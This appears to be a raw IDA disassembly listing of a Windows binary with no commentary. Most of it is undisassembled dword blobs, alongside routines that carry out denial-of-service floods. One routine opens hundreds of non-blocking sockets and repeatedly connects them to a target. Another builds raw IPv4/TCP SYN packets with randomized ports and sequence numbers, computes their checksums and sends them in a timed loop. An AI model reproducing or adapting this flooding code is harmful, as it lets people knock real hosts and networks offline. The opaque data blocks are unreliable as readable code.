		dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 75E89057h
		dd 0FF022CC2h, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h
		dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22CC1F0h
dword_413E10	dd 0B8EC8B55h, 10320h, 86E3E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+542Do
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h
		dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h,	8B004CBAh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h
		dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
		dd 0C132E890h, 0C33B022Ch, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB8ECh, 0C0753B46h,	75FFDA7Ch, 8C15FF08h, 8D004CBAh
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h
		dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
		dd 59FFFF77h, 0E8905359h, 22CC064h
dword_413F9C	dd 0B8EC8B55h, 10310h, 8557E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+5679o
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 6FE89000h
		dd 500227C8h, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	7068FFFFh
		dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7665E8h, 565959FFh, 0BF86E890h, 408B022Ch
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	2FE81175h
		dd 99000082h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	81E1E8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0CD65E890h
		dd 754E0225h, 0DC7D39CEh, 83E8BC75h, 99000081h,	0FFDCB9h
		dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah,	80F9E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
		dd 575959FFh, 0BE4EE890h
		db 2Ch,	2
word_4141B2	dw 8B55h		; DATA XREF: sub_401ACD+4CC4o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h,	858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h,	5959FFFFh
		dd 0B1E89056h, 5F022CBDh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: ___:0041433Ap

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		nop
		call	near ptr 71AB3E5Dh
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		nop
		call	near ptr 2670E97h
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx


loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax


loc_414349:				; CODE XREF: ___:00414344j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414358	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+636Bo
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF72EAh, 90565959h, 2CBC0BE8h
; ---------------------------------------------------------------------------
		add	bl, [edi+5Eh]

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: ___:004146E5p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------


loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB9D4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB9D4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB9D4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		nop
		call	near ptr 27804FCh
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27802A0h
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27802A0h
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437AEC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]


loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBA6C
		pop	esi


loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax


loc_4146F4:				; CODE XREF: ___:004146EFj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_414703	db 55h			; DATA XREF: sub_401ACD+6D3Do
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh
		dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22CB85Ch, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch
		dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
		dd 4270B0h, 0F8458959h,	4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
		dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 79A6h,	0E0458966h, 799DE8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h
		dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
		dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_4149C1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5306o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270B0h
		dd 0E850D7FFh, 78ACh, 0FF6859h,	36A0000h, 15FF026Ah, 4CBA54h
		dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch,	0FFFBC085h
		dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
		dd 535959FFh, 0B576E890h, 4D8D022Ch, 51046ACCh,	5053026Ah
		dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h
		dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 0D7E8FFFFh, 59FFFF6Bh, 0F9E85359h, 90022CB4h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh,	755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
		dd 0E8905359h, 22CB488h, 458D106Ah, 0E85053BCh,	73ECh
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CB9D4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 0C7E82D74h,	8B000076h
		dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h
		dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh
		dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h
		dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h
		dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h
		dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CB9D4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0D415FF06h
		dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 7FCBE8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
		dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 753AE850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 8DE85359h
		dd 90022CB1h, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h,	0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
		dd 90535959h, 2CB0FBE8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414F23:				; CODE XREF: ___:00414F2Bj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1


loc_414F31:				; CODE XREF: ___:00414F17j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_414F3E:				; CODE XREF: ___:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_414F57	db 55h			; DATA XREF: sub_401ACD+6C68o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h
		dd 729Eh, 0C483F633h, 0F875390Ch, 8D562075h, 0FFFC6C85h
		dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 7AE8FFFFh
		dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D3AE850h,	75FF0000h
		dd 66D0E8F0h, 5959FFFFh, 0F1E89056h, 55022CAFh,	0EC81EC8Bh
		dd 0CCh, 358B5653h, 4270B0h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
